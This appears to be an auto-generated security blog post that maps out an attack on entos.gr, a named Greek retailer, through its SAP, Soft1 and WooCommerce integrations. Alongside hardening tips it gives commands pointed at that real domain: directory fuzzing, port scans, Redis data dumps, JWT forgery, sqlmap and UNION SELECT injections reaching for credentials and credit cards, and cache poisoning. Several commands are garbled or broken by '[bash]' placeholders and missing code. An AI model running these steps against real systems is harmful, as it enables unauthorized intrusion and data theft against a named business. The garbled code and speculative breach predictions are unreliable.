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Introduction:
Modern e-commerce platforms like entos.gr—a Sato brand with 28 stores across Greece—often hide massive complexity beneath a polished surface. Under the hood, integrations with ERP systems (SAP, Soft1) and custom catalog architectures create a sprawling attack surface. While the team at Nevma and ENTOS celebrate 20+ years and a soft launch, security professionals know that every API endpoint, every SAP RFC call, and every Soft1 database link is a potential vector for data exfiltration, privilege escalation, or supply chain compromise.
Learning Objectives:
- Identify common vulnerabilities in ERP‑to‑e‑commerce integrations (SAP, Soft1, WooCommerce).
- Harden API gateways and catalog backends using Linux/Windows security controls.
- Simulate and mitigate attacks against hybrid stacks using real‑world commands and configuration hardening.
You Should Know:
- Mapping the Attack Surface: From entos.gr Down to SAP & Soft1
The post reveals a classic “iceberg” architecture: a performant WooCommerce/WordPress frontend (Nevma’s specialty) talking to SAP (for logistics/finance) and Soft1 (Greek ERP for retail). Each integration point introduces risks—unauthenticated API calls, hardcoded credentials, exposed debugging endpoints, and legacy SOAP services.
Step‑by‑step guide to footprint the hidden stack:
1. Discover exposed ERP endpoints
Use `gobuster` or `ffuf` against the domain to find non‑standard paths:
ffuf -u https://entos.gr/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.asp,.wsdl,.sap
Watch for `/sap/opu/odata`, `/soft1/api`, `/xmlrpc.php` (WooCommerce), or `/catalog/debug`.
2. Check for insecure WooCommerce REST API
The default WordPress REST API often leaks user data if permissions misconfigured:
curl -k https://entos.gr/wp-json/wc/v3/products?per_page=100
If no authentication returns real product/customer data, that’s a breach.
3. Enumerate Soft1 integration endpoints
Soft1 commonly uses port 21500 (TCP) for direct database access or HTTP on 8080. Use nmap:
nmap -p 80,443,21500,8080,8443 --open entos.gr
4. Simulate SAP RFC abuse
SAP NetWeaver often exposes RFC via port 33xx. Test anonymous RFC calls using `sapnwrfc` Python library:
from pyrfc import Connection conn = Connection(ashost='entos.gr', sysnr='00', client='100', user='RFCUSER', passwd='') If empty password works -> critical flaw
What to fix:
- Block all /sap/ paths from internet unless via VPN.
- Enforce API keys for WooCommerce REST.
- Run a full port scan monthly; close unused ERP ports.
2. Securing the “Invisible” Catalog Architecture That Scales
The post mentions “catalog architecture built for scale.” Large product catalogs often rely on Elasticsearch, Redis, or custom MySQL sharding. Each component has default credentials (e.g., `redis:6379` with no password) that allow remote data theft or denial‑of‑service.
Step‑by‑step hardening for high‑performance catalog backends:
1. Scan for unauthenticated Redis/Elasticsearch
Linux:
nc -zv entos.gr 6379 Redis nc -zv entos.gr 9200 Elasticsearch
Windows (PowerShell):
Test-NetConnection entos.gr -Port 6379
2. If open, extract cached product data
Redis example (from any machine):
redis-cli -h entos.gr KEYS "product:" | xargs redis-cli -h entos.gr GET
3. Apply mandatory authentication
For Redis (edit `/etc/redis/redis.conf`):
requirepass StrongP@ssw0rd! bind 127.0.0.1
Restart: `sudo systemctl restart redis`
4. Harden Elasticsearch
Enable X‑Pack security and set built‑in user passwords:
elasticsearch-setup-passwords interactive
5. Audit MySQL/MariaDB used for WooCommerce
Run this SQL to find weak credentials in wp_usermeta:
SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'wp_capabilities';
Then enforce strong passwords and disable remote root login:
DELETE FROM mysql.user WHERE user='root' AND host NOT IN ('localhost','127.0.0.1','::1');
FLUSH PRIVILEGES;
Pro tip: Use `fail2ban` to block IPs hitting /wp-admin or /soft1 repeatedly:
sudo apt install fail2ban sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local Add [bash] and [bash] sections sudo systemctl restart fail2ban
- API Gateway & JWT Security for ERP Sync
The ERP integrations (SAP ↔ WooCommerce) almost certainly use REST or SOAP APIs. If JWT tokens are not rotated or are hardcoded in JavaScript frontends, attackers can impersonate the sync service.
Step‑by‑step API token testing and mitigation:
1. Capture API requests from browser DevTools
Look for `Authorization: Bearer jwt.io. Check `exp` claim – if it’s >1 year, that’s a risk.
2. Replay token to access SAP endpoints
Using `curl`:
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." https://entos.gr/sap/odata/SalesOrder
3. Exploit weak signing algorithms
If token uses `alg: none` or `HS256` with a guessable secret (e.g., secret), forge an admin token with:
import jwt
payload = {"user": "admin", "role": "super"}
fake = jwt.encode(payload, "secret", algorithm="HS256")
4. Remediation – rotate secrets weekly via cron
Linux script to regenerate a secret and update both WooCommerce and SAP:
!/bin/bash
NEW_SECRET=$(openssl rand -base64 32)
wp config set JWT_AUTH_SECRET_KEY $NEW_SECRET --allow-root
curl -X POST -H "X-API-Key: $SAP_ADMIN_KEY" -d "{\"jwt_secret\":\"$NEW_SECRET\"}" https://entos.gr/sap/config
- Enforce short‑lived access tokens (15 min) and use refresh tokens stored in HTTP‑only cookies.
Windows equivalent for secret rotation (PowerShell):
$newSecret = [bash]::ToBase64String([System.Security.Cryptography.RandomNumberGenerator]::GetBytes(32)) Update .env file and restart IIS
- Soft1 ERP Hardening Against SQL Injection & Direct DB Access
Soft1 (by SoftOne) is a popular Greek ERP that often runs Microsoft SQL Server or PostgreSQL. If the e‑commerce frontend directly queries Soft1’s database (instead of using a safe API), SQL injection becomes a business‑ending threat.
Step‑by‑step SQLi testing and mitigation:
1. Identify SQL‑injectable parameters on entos.gr
Use `sqlmap` against any search or product filter:
sqlmap -u "https://entos.gr/products?category=office&id=1" --dbs --batch
2. If vulnerable, extract Soft1 credentials
Typical target tables: `Soft1.dbo.SysUsers`, `Soft1.dbo.Company`, or `S1_Users`.
UNION SELECT username, password_hash FROM SysUsers --
3. Prevent by using parameterized queries
Example (PHP‑WordPress):
global $wpdb; $results = $wpdb->get_results($wpdb->prepare( "SELECT FROM soft1_products WHERE id = %d", $product_id ));
4. Restrict Soft1 database user privileges
On MSSQL:
REVOKE SELECT, INSERT, UPDATE, DELETE ON Soft1.dbo.Orders TO web_user; GRANT EXECUTE ON dbo.GetProductPrice TO web_user; -- use stored procedures only
- Enable firewall rules to block direct DB port access
Linux iptables:
iptables -A INPUT -p tcp --dport 1433 -s 192.168.1.0/24 -j ACCEPT allow only internal iptables -A INPUT -p tcp --dport 1433 -j DROP
Windows Firewall (PowerShell Admin):
New-NetFirewallRule -DisplayName "Block SQL Public" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Block -RemoteAddress Any
5. Performance‑vs‑Security Tradeoffs: Caching Headers & CDN Leaks
Scalable catalog architectures rely on aggressive caching (Varnish, Cloudflare, NGINX cache). But misconfigured `Cache-Control` or `Vary` headers can serve one user’s session data (e.g., cart contents) to another user.
Step‑by‑step cache poisoning check:
1. Send a request with a unique header
curl -H "X-Forwarded-For: 1.2.3.4" https://entos.gr/offers/special -I
If `X-Cache: HIT` appears and the response lacks Vary: X-Forwarded-For, attackers can poison the cache.
2. Exploit by injecting malicious payload
curl -H "X-Forwarded-For: 1.2.3.4" -d "product_id=1 UNION SELECT credit_cards FROM users" https://entos.gr/offers/special
3. Fix by setting proper Vary headers
In NGINX:
proxy_cache_key "$scheme$request_method$host$request_uri$http_x_forwarded_for"; add_header Vary "X-Forwarded-For, Cookie";
- For Cloudflare users – enable “Cache Deception Armor” and purge cache on every price/stock update.
-
Audit Varnish VCL to never cache pages containing `sessionid` or `cart` cookies:
sub vcl_recv { if (req.http.Cookie ~ "sessionid|cart") { return (pass); } }
What Undercode Say:
- Every ERP integration is an open door – The entos.gr stack (SAP, Soft1, WooCommerce) is a perfect storm of legacy protocols and modern APIs. One unpatched RFC or SQLi in Soft1 can leak 20 years of customer and B2B data.
- Performance masking security debt – “Complexity that doesn’t show on the surface” is security’s worst nightmare. High‑performance catalog caches, Redis clusters, and Elasticsearch nodes are routinely left with default credentials because “it’s just internal.” Attackers scan Shodan for these every minute.
Analysis:
The post’s pride in “invisible complexity” should be matched by an equally invisible security program. Most WordPress‑ERP hybrids fail because penetration tests stop at the frontend. Real attacks target the SAP adapter, the Soft1 stored procedure, or the Redis instance that holds session tokens. The lack of mention of WAF, SIEM, or bug bounty suggests a reactive posture. Given Greece’s GDPR enforcement, a breach here would carry fines up to €20M. The official launch is a perfect deadline to demand a third‑party red team exercise—simulating a compromise from the public entos.gr homepage all the way to SAP’s `SU01` user table.
Prediction:
By Q4 2025, at least three major Greek e‑commerce platforms (similar to entos.gr) will suffer public data breaches originating from ERP‑to‑WooCommerce API misconfigurations. Attackers will automate discovery of exposed Soft1 endpoints using custom `soft1‑scanner` tools sold on darknet forums. The attackers won’t bother with the frontend—they’ll go directly for the SAP RFC port (33xx) or the Soft1 MS‑SQL listener. Remediation will require complete network segmentation, zero‑trust API gateways, and deprecation of direct database queries from the web tier. The entos.gr team should treat the “soft launch” as a “soft security audit” and act before the celebratory 20+ years become a class‑action milestone.
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Reported By: Kastorinis Something – Hackers Feeds
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